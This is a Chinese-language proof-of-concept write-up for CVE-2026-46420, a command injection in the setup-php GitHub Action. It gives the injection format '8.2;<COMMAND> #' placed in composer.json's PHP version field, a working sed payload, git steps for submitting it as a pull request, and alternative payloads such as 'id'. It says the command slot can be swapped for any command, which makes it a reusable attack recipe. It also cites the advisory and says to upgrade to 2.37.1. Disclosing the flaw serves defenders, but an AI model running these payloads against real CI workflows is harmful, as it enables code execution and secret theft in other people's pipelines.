
CVE-2026-46420 的 PoC,通过仓库控制的 PHP 版本解析在 shivammathur/setup-php 中实现命令注入。
当 PHP 版本从仓库控制的文件中加载时,shivammathur/setup-php 中存在命令注入。
受影响:
>= 2.25.0, < 2.37.1
已修复:
>= 2.37.1
目标仓库已经有一个存在漏洞的工作流,该工作流会检出拉取请求内容并运行 [email protected]。
攻击者仅修改 composer.json。
-"php": "8.2"
+"php": [
+ "8.2;sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example #"
+]
当 setup-php 从 composer.json 读取 PHP 版本时,注入的命令会被包含在生成的 shell 脚本中并执行。
结果:
-FEATURE_FLAG=off
+FEATURE_FLAG=modified-by-poc
从目标仓库创建一个分支:
git checkout -b poc-test
将干净的 composer.json 替换为 PoC 版本:
cp attacker/composer.json composer.json
提交并推送:
git add composer.json
git commit -m "更新 composer 配置"
git push -u origin poc-test
从 poc-test 向 main 打开一个拉取请求。
Actions 运行应显示 demo-app/.env.example 在 setup-php 步骤期间被修改。
payload 格式为:
8.2;<COMMAND> #
当前 payload:
8.2;sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example #
执行的命令是:
sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example
要更改 PoC 的行为,请替换 8.2; 和 # 之间的命令。
创建一个文件:
8.2;touch poc-executed #
写入文件:
8.2;printf 'poc executed\n' > poc-result.txt #
打印命令输出:
8.2;id #
示例 composer.json:
{
"config": {
"platform": {
"php": [
"8.2;touch poc-executed #"
]
}
}
}
升级到 [email protected] 或更高版本。
相同的 payload 在打过补丁的版本上会被拒绝。
https://github.com/shivammathur/setup-php/security/advisories/GHSA-pqwm-q9pv-ph8r
https://github.com/shivammathur/setup-php/commit/eeef37e059fb5368a5bc8ed8ce45ff54bd39b80b